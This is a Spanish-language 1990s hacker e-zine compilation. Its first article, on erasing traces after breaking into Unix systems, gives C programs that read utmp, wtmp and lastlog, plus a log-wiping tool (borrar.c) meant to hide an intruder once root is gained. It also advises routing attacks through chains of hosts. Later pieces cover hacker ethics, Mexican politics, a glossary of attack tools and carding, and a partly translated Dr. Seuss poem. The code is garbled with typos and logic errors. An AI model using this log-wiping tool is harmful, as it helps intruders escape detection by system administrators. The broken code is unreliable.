Ŀ
           1-QUE HUELLAS DEJAMOS CUANDO TRABAJAMOS EN SISTEMA?            


todos los sistemas basados en unix guardan informacion sobre los usuarios que
se conectan, asi como las ordenes que ejecutan y en caso de ser un host remoto
tambien su direccion de dominio. estos registros son llamados 'logs'.

Pero no todos los Unix son iguales. Podemos encontrarnos con el Unix de IBM
(AIX), el Unix del Sun (SunoS o Solaris), etc. Por lo que algunos guardan los
datos sobre usuarios en directorios distintos a los demas.

Los logs mas importantes son:

 utmp
 ----
 Guarda un log de los usuarios que estan utilizando el sistema mientras estan
 conectados a el.

 Lo podemos encontrar en:  /etc/utmp

 wtmp
 ----
 Guarda un log cada vez que un usuario se introduce o sale del sistema.

 Lo podemos encontrar en:  /var/adm/wtmp

 lastlog
 -------
 Guarda un log del momento exacto en que un usuario entro por ultima vez.

 Lo podemos encontrar en:  /var/adm/lastlog


Ŀ
        2-POR QUE Y CUANDO ES NECESARIO BORRAR NUESTRAS HUELLAS?          


Mientras seamos un usuario sin privilegios no podremos borrar ninguno de estos
logs, ya que no tendremos permiso para ello. Pero esto tampoco nos debe
importar mucho ya que un administrador no puede saber si hoy a las 17:45 horas
ha entrado en el servidor el usuario 'pepito' o si era un hacker que ha
conseguido su cuenta. A no ser que se lo pregunte a 'pepito' y este diga: 'oh
no, pero si yo a esa hora estaba en el cine ...' @#$%& ... pero bueno, es poco
probable ya que con los pocos privilegios que puede tener un simple usuario no
podemos hacer casi nada en el sistema. Por lo que un administrador medianamen-
te bueno, cada vez que comience una sesion revisara sus logs (los del root)
para ver si hay algo anormal en su cuenta.

Imaginate que por fin consigues esa deseada cuenta root y por no borrar las
huellas, cuando vas el dia siguiente a conectarte ... 'invalid passwd' ... y
eso en el mejor de los casos, porque si no usas 'condones' (conectarte a un
sistema, de ahi a otro, ... y por fin al sistema victima) te pillaran ensegui-
da.


Ŀ
                            3-COMO BORRARLAS                               


Los ficheros 'utmp', 'wtmp' y 'lastlog', asi como los demas logs adicionales
que puedan presentar otros sistemas, no son ficheros de texto legibles dado
que son estruvturas de datos. Por lo que no podras verlas con un simple editor
de texto, pero si con estos programas:

Primer programa:
-------------------------- cortar por aqui -----------------------------------
/*****************************************************************************/
/*****                     editar el fichero 'utmp'                      *****/
/*****                                                                   *****/
/*****                 Por Guybrush - guybrush@axis.org                  *****/
/*****************************************************************************/

/* programa ulog.c */

#include <stdio.h>
#include <utmp.h>


#define UTMP "/etc/utmp"


void main()
{
   struct utmp u;
   FILe *fichero;
   
   if ((fichero = fopen(UTMP,"r")) == NULL)
   {
      fprintf(stderr," error : no encontrado el fichero '%s'\n",UTMP);
      exit(0);
   }
   
   while (fread(&u, sizeof(u), 1, fichero))
   {
      printf("%d - ",u.ut_type);
      printf("%d - ",u.ut_pid);
      printf("%s - ",u.ut_line);
      printf("%s - ",u.ut_id);
      printf("%d - ",u.ut_time);
      printf("%s - ",u.ut_user);
      printf("%s - ",u.ut_host);
      printf("%d\n",u.ut_addr);
   }

   fclose(fichero);
}
-------------------------- cortar por aqui -----------------------------------

Segundo programa:
-------------------------- cortar por aqui -----------------------------------
/*****************************************************************************/
/*****                     editar el fichero 'wtmp'                      *****/
/*****                                                                   *****/
/*****                 Por Guybrush - guybrush@axis.org                  *****/
/*****************************************************************************/


/* programa wlog.c */

#include <stdio.h>
#include <utmp.h>


#define WTMP "/usr/adm/wtmp"


void main()
{
   struct utmp w;
   FILe *fichero;
   
   if ((fichero = fopen(WTMP,"r")) == NULL)
   {
      fprintf(stderr," error : no encontrado el fichero '%s'\n",WTMP);
      exit(0);
   }
   
   while (fread(&w, sizeof(w), 1, fichero))
   {
      printf("%d - ",w.ut_type);
      printf("%d - ",w.ut_pid);
      printf("%s - ",w.ut_line);
      printf("%s - ",w.ut_id);
      printf("%d - ",w.ut_time);
      printf("%s - ",w.ut_user);
      printf("%s - ",w.ut_host);
      printf("%d\n",w.ut_addr);
   }

   fclose(fichero);
}

-------------------------- cortar por aqui -----------------------------------

Tercer programa:
-------------------------- cortar por aqui -----------------------------------
/*****************************************************************************/
/*****                    editar el fichero 'lastlog'                    *****/
/*****                                                                   *****/
/*****                 Por Guybrush - guybrush@axis.org                  *****/
/*****************************************************************************/


/* programa llog.c */

#include <stdio.h>
#include <lastlog.h>
#include <pwd.h>


#define LASTLoG "/usr/adm/lastlog"


void main()
{
   struct lastlog l;
   FILe *fichero;
   
   if ((fichero = fopen(LASTLoG,"r")) == NULL)
   {
      fprintf(stderr," error : no encontrado el fichero '%s'\n",LASTLoG);
      exit(0);
   }
   
   while (fread(&l, sizeof(l), 1, fichero))
   {
      printf("%d - ",l.ll_time);
      printf("%s - ",l.ll_line);
      printf("%s\n",l.ll_host);
   }

   fclose(fichero);
}
-------------------------- cortar por aqui -----------------------------------

Con estos 3 programas te daras cuenta de como quedas registrado en el sistema.
puedes utilizarlos desde cualquier usuario aunque no seas root ya que solo
muestran los datos y no los modifican.

Ahora, si consigues ser root, deberas borrarlos. y para eso puedes utilizar
este otro programa:

-------------------------- cortar por aqui -----------------------------------
/*****************************************************************************/
/*****   Borrar las huellas de los ficheros 'utmp', 'wtmp' y 'lastlog'   *****/
/*****                                                                   *****/
/*****                 Por Guybrush - guybrush@axis.org                  *****/
/*****************************************************************************/


/* programa borrar.c */

#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <utmp.h>
#include <lastlog.h>
#include <pwd.h>


#define UTMP     "/etc/utmp"         /* ruta del utmp    */
#define WTMP     "/usr/adm/wtmp"     /* ruta del wtmp    */
#define LASTLoG  "/usr/adm/lastlog"  /* ruta del lastlog */


/***** BoRRAR HUeLLAS De UTMP Y WTMP *****/

void borrar1(char *usuario, char *log)
{
   struct utmp u;     /* usamos la estructura de datos 'utmp'    */
   int fd;
   int cambio = 0;
   
   if ((fd = open(log,o_RDoNLY)) == 0)
   {
      fprintf(stderr,"error : no encontrado el fichero %s\n",log);
      exit(0);
   }
   
   close(fd);
   
   if ((fd = open(log,o_RDWR)) == 0)
   {
      fprintf(stderr,"error : no se puede abrir el fichero %s para escritura\n",log);
      exit(0);
   }

   lseek(fd, 0, SeeK_SeT);

   while (read(fd, &u, sizeof(u)))
   {
      if (!strncmp(u.ut_user, usuario, strlen(usuario)))
      {
         bzero((char *)&u, sizeof(u));       /* si hay alguna referencia */
         lseek(fd, -(sizeof(u)), SeeK_CUR);  /* sobre el usuario elegido */
         write(fd, &u, sizeof(u));           /* borra las huellas        */
         cambio = 1;
      }
   }

   close(fd);
   
   if (cambio == 0)
      fprintf(stderr,"No se han encontrado huellas en '%s'\n",log);
   else
      fprintf(stderr,"Las huellas de '%s' han sido borradas\n",log);
      
   return;
}


/***** BoRRAR HUeLLAS De LASTLoG *****/

void borrar2(char *usuario, char *log)
{
   struct lastlog l;   /* usamos la estructura de datos 'lastlog' */
   struct passwd *pwd; /* usamos la estructura de datos 'passwd'  */
   int fd;
   int cambio = 0;
   
   if ((fd = open(log,o_RDoNLY)) == 0)
   {
      fprintf(stderr,"error : no encontrado el fichero %s\n",log);
      exit(0);
   }
   
   close(fd);
   
   if ((fd = open(log,o_RDWR)) == 0)
   {
      fprintf(stderr,"error : no se puede abrir el fichero %s para escritura\n",log);
      exit(0);
   }

   lseek(fd, 0, SeeK_SeT);

   if ((pwd = getpwnam(usuario)) == NULL)
   {
      fprintf(stderr,"error : no existe ese usuario\n");
      exit(0);
   }

   while (read(fd, &l, sizeof(l)))
   {
      if (lseek(fd, (long)pwd->pw_uid*sizeof(l), SeeK_CUR))
      {
         bzero((char *)&l, sizeof(l));  /* si hay alguna referencia al */
         write(fd, &l, sizeof(l));      /* usuario elegido, borra las  */
         cambio = 1;                    /* huellas                     */
      }
   }

   close(fd);
   
   if (cambio == 0)
      fprintf(stderr,"No se han encontrado huellas en '%s'\n",log);
   else
      fprintf(stderr,"Las huellas de '%s' han sido borradas\n",log);
      
   return;
}


/***** FUNCIoN PRINCIPAL *****/

void main(int argc, char *argv[])
{
   if (argc != 3)
   {
      fprintf(stderr, "Uso : %s <usuario> <u|w|l|t>\n");
      fprintf(stderr,"          u = utmp\n");
      fprintf(stderr,"          w = wtmp\n");
      fprintf(stderr,"          l = lastlog\n");
      fprintf(stderr,"          t = todo (los tres)\n");
      exit(0);
   }
   
   if (argv[2][0] == 'l')
      borrar2(argv[1], LASTLoG);   /* borramos las huellas del lastlog */
   if (argv[2][0] == 'u')
      borrar1(argv[1], UTMP);      /* borramos las huellas del utmp    */
   if (argv[2][0] == 'w')
      borrar1(argv[1], WTMP);      /* borramos las huellas del wtmp    */

   if (argv[2][0] == 't')
   {
      borrar2(argv[1], LASTLoG);
      borrar1(argv[1], UTMP);
      borrar1(argv[1], WTMP);
   }
}
-------------------------- cortar por aqui -----------------------------------

espero que les saques provecho.   ;)

Ŀ
                                4-DESPEDIDA                                


Esto es todo por hoy. espero que te halla servido de ayuda y que me escribas
si tienes alguna duda. Tambien me gustaria que me corrigierais si es que me
he confundido en algo.

Podeis usar y distribuir estos programas pero con la condicion de que dejeis
el copyright.

Un saludo.


                                -= Guybrush =-


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

                                                                   10-10-1997.
                                                                     ??????

                                                                
             Ŀ
                La Verdad Y La Mentira en el Mundo Del Hacker   
                         - J.J.F. / HACKERS TEAM -              
             

   Ya estoy harto de que la gente me escriba o me pregunte por el irc, con
   la tipica pregunta "Hola, soy nuevo en inet y quiero ser Hacker", la
   verdad es que es algo patetico.
   En realidad un HACKER es aquel que se esfuerza en aprender hasta donde
   pueda llegar, le da igual sino le sirve para nada en su trabajo o en su
   vida, la cuestion es aprende todo lo que se pueda de la informatica por
   puro placer, que se enfrenta a los problemas con logica y los
   descompone en problemas mas simples para hallar una solucion.
   Claro que los Hackers exploran las redes, pero solo para acceder a
   donde otros no llegan o no pueden, ademas del estimulo personal que
   supone entrar en un sistema supuestamente seguro que un monton de
   profesionales lo afirman, pero jamas para destrozar o benecifiarse
   de alguna manera del sistema que explora.
   Pero que esta gente diga estas cosas no es lo peor del caso, sino de
   aquellos que se creen Hackers y cuando llegan estos newbies les
   dicen ( porque no lo explican en detalle ) algun truco, que generalmente
   es para joder el sistema y se quedan tan anchos, y luegos estos newbies
   van por hay usando ese vil truco, sin saber exactamente que estan haciendo
   y como les puede perjudicar a ellos mismos y al sistema, ya se creen unos
   Hackers y luego pasa lo que pasa, la poli en kasa y las madres llorando,
   puede que parezca muy exagerado pero estamos llegando a una situacion asi.
   Solo porque a uno les digan 4 trucos mal explicados no se convierte en un 
   Hackers, los verdaderos Hackers no han nacido con el hack en las venas,
   para ser Hackers han dedicado muchos aos de estudio en conocer todo
   lo que pasa por sus manos, porque "los autenticos no se convierten se
   hacen a si mismos".

   Por ejemplo un Hacker que se precie debe saber:
   - S.O. (sistemas operativos: unix y sus variantes, NT, etc...)
   - Programacion ( C, asm, etc..)
   - Telecomunicaciones.
   - Seguridad.
   - Y estar preparado para todo.

   Ademas jamas para de aprender algo nuevo y siempre esta en proceso
   de aprendizaje de las nuevas tecnologias que van saliendo.
   
   - S.O. : Necesita conocer todos los que pueda, cuantos mas mejor. Para
            saber moverse por el nucleo para desmontar o montar lo que
            necesite.
   - Programacion : Para crearse sus propias herramientas cuando una
                    determinada tarea lo requiera, ademas del placer
                    que conlleva desarrollar soft, pero no solo
                    desarrolar sino tb estudiar el soft de los demas.
   - Telecomunicaciones : Debe saber como funciona inet tecnicamente pero
                         ademas tb su modem y todo lo relacionado.
   - Seguridad : Cual es la seguridad, como evitarla o como ponerla :)
                 en los s.o., inet, etc...
   - Y esperar lo inesperado, saber como moverse por todo y conocer
     perfectamente donde se mete y que esta arriesgando.

   Estos 2 ultimos factores para mi son importantes, porque mas de la mitad
   de la gente cuando hackea o hace sus chapuzillas, no toma las medidas
   oportunas ni sabe cuales son, ni nada de nada, solo porque no quiere
   gastar un par de horas de su vida a recopilar info para leer y volversela
   a leer, nada mejor que un buen libro sobre seguridad informatica :)
   El proceso mas importante de un buen Hacker es leer todo la documentacion
   tecnica que pueda, sacar sus conclusiones y realizar sus pruebas.
   Pues esto esto que tenia que decir del tema y espero que haya quedado
   claro el termino de Hacker y lo que conlleva.
   Espero que nadie se enfade con lO que opino en este articulo porque esta
   claro que es la verdad.

                  "LA INFORMACION A DE SER LIBRE PERO CON LOGICA"

                                                           CONDE VAMPIRO
                                                     - J.J.F. / HACKERS TEAM -


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

 El departamento de ingenieria social y ciencias  politicas dentro de esta
 revista se engalana en presentarles el Ensayo Oficial sobre Mexico creado
 para debatir y reafirmar las bases de la celebre y ya famosa frase:

                        " COMO MEXICO NO HAY DOS "

 La ciudad de Mexico D.F. no es una metropoli moderna, bien diseada y
 arreglada asi pues, las ciudades diseadas con el futuro en mente deben
 estar seguras que en eso Mexico no puede ganar.

 La ciudad de Mexico D.F. cuenta con los niveles de contaminacion mas altos
 del mundo y con mas autos que varias ciudades de latinoamerica unidas asi
 que las ciudades con aire limpio y lluvia limpia pueden descansar ya que
 Mexico en eso no les puede ganar.

 La ciudad de Mexico D.F. cuenta con una escena hacker demasiado underground
 debido a los riesgos que implica declararse hacker como pueden ser la perdida
 de estudios y trabajo. Asi que las ciudades con una escena hacker que se
 moviliza y promueve la liberacion de la informacion pueden estar seguros que
 en eso Mexico no les puede ganar. [ intentaremos...eso si :-) ]

 El sistema telefonico de la ciudad de Mexico es digital y moderno pero no
 libre de fallas o mal funcionamiento. Si tu ciudad cuenta con un sistema
 telefonico infalible descansa pues Mexico a tu ciudad en eso no puede ganar.
 [ pero en monopolios telefonicos probablemente en eso si ganemos ]

 Los edificios en la ciudad de Mexico carecen de automatizacion apoyada por
 computadoras. Si no fuera por CEMEX ni siquiera tuvieramos una sola compaia
 que usara satelites y computadoras para agilizar sus proyectos pero por ser
 CEMEX una empresa en manos extranjeras queda descalificada. Si tu ciudad
 esta al borde de ser entregada a las computadoras puedes estar seguro que
 en eso mexico no puede ganar.

 PERO...

 Si el sistema politico en tu ciudad esta podrido, huele a corrupcion y los
 lideres son mayores de 90 aos o mas debes empezar a preocuparte por que en
 eso Mexico SI puede ganar.

   Quieres razones para ver lo avanzado que esta Mexico en este aspecto ?

-En que pais ganan mas los policias y granaderos que los maestros de escuela?
-En que pais civilizado le dan mas tiempo a un pinche partido de segunda
 division que a un debate politico entre dos candidatos?
-En donde se da el increible caso de un Presidente que viola todas sus
 promesas y compromisos?
-En que otro pais la ciudadania sufre mas asaltos por parte de la policia que
 de los delincuentes?
-En que pais matan impunemente a mas de 400 miembros de la oposicion y no se
 castiga a nadie?
-En que pais se solapa que en tiempos de paz la tropa viole mujeres,
 encarcele inocentes y destruya viviendas?
-En que pais el Presidente recicla sus promesas de campaa y las presenta 3
 aos despues como un proyecto nuevo?
-En que pais se amenaza a la gente con una devaluacion para que voten por el
 Gobierno?
-En que pais mandan como embajadores y representantes a los ciudadanos mas
 corruptos?
-En donde hay un pais en el que el Gobierno usa las obras publicas para ganar
 votos?
-En donde se encuentra un pais donde los diputados esten al servicio del
 Presidente y no de quienes los eligieron?
-En donde se da el caso de que los bancos violen el secreto bancario por
 ordenes gubernamentales?
-En que pais se sufre un desastroso choque entre dos trenes del transporte
 colectivo (METRO) y se culpa no a un hacker, no a un empleado sino a una
 computadora?

 Tomando en cuenta que en paises de habla africana, indu, castellana,
 portuguesa, inglesa y hasta 18 paises actualmente usando lenguas muertas no
 logramos encontrar una situacion politica igual a la de Mexico hemos llegado
 a la conclusion ampliamente aceptada de que:

                 " COMO MEXICO NO HAY DOS "...no hay tos!

 * Algunos extractos del seor Rius. Mr.X


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

                      TERMINOS USADOS EN EL HACKING WORLD

Ademas de los amplios conocimientos sobre sistemas operativos, internet e
informatica en general, un hacker necesita una serie de herramientas para
poder 'trabajar'. He aqui una serie de conceptos y de herramientas necesarias
para cualquier hacker:

- Los terminos de HACKER y CRACKER ya estan muy vistos, pero aun hay mucho
  ignorante que los confunde ... y digo ignorante porque esa confusion nos
  afecta a muchos. Un HACKER es alguien con amplios conocimientos de infor-
  matica (notese que digo 'amplios conocimientos'. No considero como hacker
  a un tio que sin tener ni idea de informatica, que para el 'Unix' es una
  marca de ordenadores y un 'Sniffer' es algo relacionado con la droga, se
  pasa 5 o 6 horas diarias en el canal #hackers del IRC y que ha hecho buenos
  amigos que le pasan logins y passwords de servidores ya hackeados).
  Bueno, como iba diciendo, convertirse en hacker no es como sacarse un carnet
  de conducir o algo asi. No hay una meta, no llega un momento en que ya eres
  hacker y se acabo todo. Es un continuo estudio ya que todo va modernizandose.
  Aparecen nuevos sistemas, nuevas versiones, ...
  A diferencia de los hackers, que solo se dedican a investigar y entrar en
  servidores solo para dotorear un poco, o para dejar alli su 'sello' para
  que lo vea el administrador cuando entre al dia siguiente, hay dos tipos
  CRACKERS: los que se saltan las barreras de proteccion (numeros de serie,
  vidas infinitas - en caso ede juegos, ...) de software y los peores de
  todo, los que al igual que los hackers, estudian la forma de entrar en un
  ordenador (o simplemente le pasa alguien un login y un passwd en el IRC) y
  entran en el con el fin de destrozarlo todo. Cabrones! Por su culpa que
  hayan leyes tan duras contra los hackers y que muchos administradores
  aumenten la seguridad en sus servidores....
  Tambien existen los PHREACKERS, muy parecidos a los hackers, pero con
  una finalidad distinta, estudiar el funcionamiento de los telefonos
  (cabinas, inalambricos, moviles, ...) y en su caso llamar gratis (pero esta
  no es la finalidad de todos los phreackers).
  Y por ultimo, un PIRATA es alguien que hace y vende copias ilegales de
  programas de software.

- LAMMER: Hay mucha gente que opina que un lammer es el que quiere llegar a
  ser hacker y es aun novato. Para mi, esa persona es un 'novato' y punto.
  Un lammer es el que llega y te dice: 'Quiero ser un hacker, pero no quiero
  aprender sistemas operativos ni leer demasiadas cosas porque la informatica
  me aburre. Dime algun login de algun sitio ...'. Esa gente solo quiere
  aprovecharse de los estudios de los demas para darselas luego ellos de
  super-hackers. Quieren que les digas el nombre de algun servidor que hayas
  hackeado tu para luego ir ellos y destrozarlo y pegarse luego el pegote en
  el IRC, fardando de lo que no son.
  No se puede ir por ahi diciendo que quieres ser un hacker en 24 horas.
  Tienes que leer, estudiar y navegar mucho en busca de programas y de
  informacion.
  Si eres un novato no tengas miedo de preguntar tus dudas. En Raregazz te
  las resolveran sin llamarte lammer (si es que no lo eres :) ).

- BUGS y EXPLOITS: Los bugs son fallos en un programa o un sistema. Por
  ejemplo, cuando alguien te dice que el internet explorer tiene bugs quiere
  decir que hay fallos. Por ejemplo un bug seria que un programa se bloqueara,
  que haga algo indebido, ... Muchos de estos bugs son aprovechados por los
  hackers para entrar en sistemas.
  Un exploit es un programa que aprovecha un bug. Es decir, no es siempre tan
  sencillo como escribir #%&$&/(* para que el programa se cuelge. A veces es
  necesario un pequeo programa.

- SNIFFER: Es un programa que monitoriza los paquetes de datos que circulan
  por la red. Mas claramente, todo lo que circula por la red va en 'paquetes
  de datos' que el sniffer chequea en busca de informacion referente a logins
  o password. Cada sistema debe usar un sniffer distinto. Y naturalmente que
  NO puedes ponerlo en tu casa. Tu no tienes una red, por lo que los unicos
  paquetes de datos (con informacion sobre login) que puedan pasar seran los
  tuyos.

- PASSWORD CRACKER: En todos los ordenadores con sistemas basados en Unix se
  guarda un fichero con todos los password de usuarios (naturalmente encrip-
  tados) pero que cualquiera puede leer. Es imposible desencritarlos pero si
  que se puede usar diccionarios para encriptar y comparar palabras con las
  de ese fichero (/etc/passwd). A los programas que hacen esto se les llama
  PASSWORD CRACKER (crackeadores de password).

- PORT SCANER: Es muy importante conocer el funcionamiento del 'telnet'. Con
  esta utilidad puedes acceder a cualquier puerto. Pero, que es un puerto?
  un ordenador puede tener varios servicios disponibles: telnet, ftp, WWW, ...
  pero como distingue el ordenador a que servicio queremos acceder?. Por
  ejemplo, podemos hacer 'telnet victima.com' o 'ftp victima.com' o
  'http://victima.com'. Cada servicio accede a un puerto distinto del ordena-
  dor. Por ejemplo, el telnet es el 23, el smtp (correo saliente) el 25, el
  http es el 80, ...
  Bueno, pues un escaneador de puertos es un programa que chequea todos los
  puertos abiertos de un ordenador (que podras aprovechar tu para entrar en
  el).

- BOXING: Que es eso de Blue Box, Black Box, Red Box, y demas cajas de
  colores? Pues simplemente son circuitos electronicos para, de una manera u
  otra, llamar gratis por telefono. Debes tener en cuenta que cada pais tiene
  un sistema telefonico distindo. Si eres de Espaa (al igual que yo), pasate
  por la CPNE (Compaia Phreack Nacional de Espaa):
  http://cpne.islatortuga.com/

- WAR DIALER: Estos son programas (tambien se podria hacer a mano, pero es muy
  pesado) que realizan llamadas telefonicas en busca de modems. Recuerda que
  no solo se puede hackear en Internet. Hay muchos comercios, bancos, etc que
  trabajan con modems y a los que puedes acceder llamandoles por telefono (si
  lo conoces, naturalmente).

- FIREWALL: Un firewall es un sistema de seguridad que tienen ciertos servido-
  res para impedir el paso de ciertas personas. Para ello chequean tu IP y
  segun de donde provenga te dejan o no pasar.

- NUKEAR: Eso es 'putear a alguien' ... para que todos lo entendais. Nukear es
  bloquear un ordenador. Desgraciadamente hay muchos gilipollas que se dedican
  a eso en los canales de IRC.

- ZAP: Zap es un programa que debido a la fama que ha cogido, se le llama
  zapear a borrar las huellas en un sistema.

- MAIL BOMBER: Som bombardeadores de correo. Envian un numero determinado de
  mensajes a una direccion causando un auntentico kaos a la victima. Otra
  forma de bombardear a algun capullo es suscribiendole a muchos grupos (sexo,
  jardineria, politica, ...).

- CARDING: Estudiar el funcionamiento de las tarjetas de credito. Aunque mucha
  gente, mas que estudiar el funcionamiento, utiliza numeros y datos de alguna
  tarjeta para hacer compras por la red y cargarle los gasto a algun pardillo.

- RAREGAZZ: La mejor pagina de hacking que puedas encontrar en la red. Lee sus
  revistas y bajate todos los programas que aparecen en la pagina y ... feliz
  hack!!!.
  Y No dejes de visitar mi pagina sobre bugs ...
  http://www.geocities.com/Baja/Dunes/1429/mio.htm

Unos consejos:
- Si estas en algun canal #hackers de IRC y aparece un termino que no conoces
  NO preguntes en el canal :' que es un @#$%&^] ?' porque esos que creen ser
  superhackers y que en realidad son mas lammers que la gente del canal
  #novatos, te nukearan. Puedes preguntar cosas en privado a alguien que
  tengas confianza. Y recuerda, no seas lammer. Pregunta cosas RAZONABLES.

- Y otro consejo muy importante:  Quieres ser un hacker de 31173 (elite) ?
  Pues lee todas las revistas y bajate todas las herramientas disponibles en
  la pagina. Y no dudes en preguntar lo que quieras ... te contestaran en
  seguida. [ por lo menos aqui en raregazz ]


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

                                 The Big Brag
                               -=El presumido=-
                                 By Dr. Seuss

  Si se leen las lineas en ingles notaras que riman...

 The rabbit felt mighty important that day
 { El conejo se sentia importante ese dia }
 On top of the hill in the sun where he lay.
 { En la cima de la montaa donde se acostaba en el sol }
 He felt SO important up there on that hill
 { Se sentia TAN importante arriba en esa montaa }
 That he started in braging, as animals will
 { Que empezo a presumir como los animales lo hacen }

 And he boasted out loud, as he threw out his chest,
 { Y grito fuerte con todo su pecho, }
 "Of all the beasts in the world, I'm the best!
 { De todas las bestias del mundo, Yo soy el mejor! }
 On land, and on sea...even up in the sky
 { En tierra, agua y aire }
 No animal lives who is better than I!"
 { Ningun animal vive que sea mejor que yo! }

 "Whats that?" growled a voice that was terribly gruff.
 { Que es eso? gruio una voz }
 "Now why do you say such ridiculous stuff?"
 { Por que dices algo tan ridiculo? }
 The rabbit looked down and he saw a big bear.
 { El conejo bajo la mirada y encontro un oso. }

 "I'm best of the beasts," said the bear. "And so there!"
 { "Soy la mejor de las bestias en el mundo", dijo el oso. "Y mas alla!" }
 "You're not!" snapped the rabbit. "I'm better than you!"
 { "Tu no lo eres!" dijo el conejo. "Soy mejor que tu!" }
 But how can you prove it? Just what can you DO?"
 { Como lo pruebas?  Que es lo que sabes HACER?" }

 "Hmmmm..." thought the rabbit,
 { "Hmmmm..." penso el conejo, }
 "Now what CAN I do...?"
 { Que es lo que PUEDO hacer...? }
 He thought and he thought. Then finally said,
 { El penso y finalmente dijo, }
 "Mr. Bear, do you see these two ears on my head?
 { Seor OSO, ve estas dos orejas en mi cabeza? }
 My ears are so keen and so sharp and so fine
 { Mis orejas son tan exactas y precisas }
 No ears in the world can hear further than mine!"
 { Que ninguna otra oreja en el mundo puede escuchar mas! }

 "But how do I know just how far they can hear?"
 { Como sabre que tan lejos puedes escuchar? }
 "I'll prove," said the rabbit, "my ears are the best.
 { "Lo probare," dijo el conejo, "mis orejas son las mejores. }
 You sit there and watch me. I'll prove it by test."
 { Tu sientate y observa. Lo demostrare en un test. }
 Then he stiffened his ears till they both stood up high
 { Entonces afino sus orejas y las mantuvo altas }
 And pointed straight up at the blue of the sky.
 { Y apunto hacia arriba justo al azul del cielo. }
 He stretched his ears open as wide as he could.
 { Estiro sus orejas lo mas que pudo. }
 "Shhh! I am listening!" he said as he stood.
 { "Shhh! Estoy escuchando!" el dijo. }

 And he said to the bear, "Do you know what I heard?
 { Y le dijo al oso, "Sabes lo que he escuchado? }
 Do you see that far mountain...? It's ninety miles off.
 { Alcanzas a ver esa montaa lejana...? esta a noventa millas. }
 There's a fly on that mountain. I just heard him cough!
 { Hay una mosca en esa montaa. La acabo de escuchar toser! }
 Now the cough of a fly, sir, is quite hard to hear
 { El sonido de la tos en una mosca es dificil de escuchar }
 When he's ninety miles off. But I heard it quite clear.
 { Cuando se encuentra a noventa millas. Pero la escuche claro. }
 So you see," bragged the rabbit, "it's perfectly true
 { Ya vez," presumio el conejo, " Es verdad }
 That my ears are the best, so I'm better than you!"
 { Que mis orejas son mejores, asi que soy mejor que tu!" }

 The bear, for a moment, just sulked as he sat
 { El oso por el momento permanecio callado }
 For he knew that his ears couldn't hear things like that.
 { Pues el sabia que sus orejas no podrian escuchar esas cosas. }
 "This rabbit," he thought, "made a fool out of me.
 { "Este conejo," el penso, "ha hecho un tonto de mi. }
 Now I've got to prove that I'm better than he."
 { Ahora tengo que probar que soy mejor que el." }
 So he said to the rabbit, "You hear pretty well.
 { Asi que dijo al conejo, "Escuchas bastante bien. }
 You can hear ninety miles. But how far can you smell?
 { Puedes escuchar noventa millas. Pero que tan lejos olfateas? }

 I'm the greatest of smellers," he bragged. "See my nose?
 { Soy el mejor olfateador," el presumio. "Vez mi nariz? }
 This nose on my face is the finest that grows.
 { Esta nariz es la mas fina que nace. }
 My nose can smell anything, both far and near.
 { Mi nariz puede olfatear todo, de cerca y lejos. }
 With my nose I can smell twice as far as you hear!"
 { Con mi nariz puedo olfatear lo doble de lo que escuchas!" }
 "You can't!" snapped the rabbit
 { "No puedes!" dijo el conejo }

 "I can!" growled the bear
 { Yo puedo! gruio el oso }
 And he stuck his big nose 'way up high in the air.
 { Y mantuvo su nariz muy alto en el aire. }

 Then he said to the rabbit, "I've smelled far enough."
 { Luego dijo al conejo, "He olfateado lo suficiente." }
 "All right," said the rabbit. "Come on now and tell
 { Muy bien," dijo el conejo. "Ven aca y platica }
 Exactly how far is the smell that you smell?"
 { Exactamente que tan lejos es el olor que olfateas?" }
 "Oh, I'm smelling a very far smell," said the bear.
 { "Oh, Estoy olfateando un olor lejano," dijo el oso. }
 "Away past that fly on the mountain out there.
 { "Lejos de la mosca en la montaa. }
 Is a very small farm. On the farm is a tree.
 { Hay una pequea granja. En la granja un arbol. }
 On the tree is a branch. On the branch is a nest,
 { En el arbol una rama. En la rama un nido, }
 A very small nest where two tiny eggs rest.
 { Un muy pequeo nido donde dos huevos descansan. }
 Two eggs! Only half an inch long!
 { Dos huevos! De tan solo una pulgada! }
 that is a thing that no rabbit can do.
 { esto es una cosa que ningun conejo puede hacer. }
 So you see," the bear boasted, "I'm better than you!
 { Asi que tu vez," el oso dijo, "Yo soy mejor que tu! }
 My smeller's so keen that it just can't be beat..."
 { Mi olfato es tan preciso que nada puede vencerlo..." }

 "What's that?" called a voice.
 { Que es eso? dijo una voz. }
 From 'way down by his feet
 { Muy abajo de sus pies }
 The bear and the rabbit looked down at the sound,
 { El oso y el conejo miraron hacia el sonido, }
 And they saw and old worm crawling out of the ground.
 { Y observaron un viejo gusano arrastrandose fuera de la tierra. }
 "Now, boys," said the worm, "you've been bragging a lot.
 { "Ahora, muchachos," dijo el gusano, "han estado presumiendo mucho. }
 You both think you're great. butI think you are not.
 { Ustedes dos piensan que son geniales. Pero YO demostrare que no lo son. }
 You're not half as good as a fellow like me.
 { No son ni la mitad de lo bueno que somos las personas como yo. }
 You hear and you smell. But how far can you SEE?
 { Ustedes escuchan y olfatean. Pero que tan lejos pueden VER? }

 Now, I'm here to prove to you big boasting guys
 { Ahora, Estoy aqui para demostrarles lo presumidos que son }
 That your nose and your ears aren't as good as my eyes!"
 { Su nariz y orejas no son tan buenos como mis ojos!" }
 And the little old worm cocked his head to one side
 { Y el pequeo gusano giro su cabeza a un lado }
 And he opened his eyes and he opened them wide.
 { Y abrio sus ojos. }
 And they looked far away with strange sort of stare.
 { Y vieron muy lejos como hipnotizados. }
 As if they were burning two holes in the air.
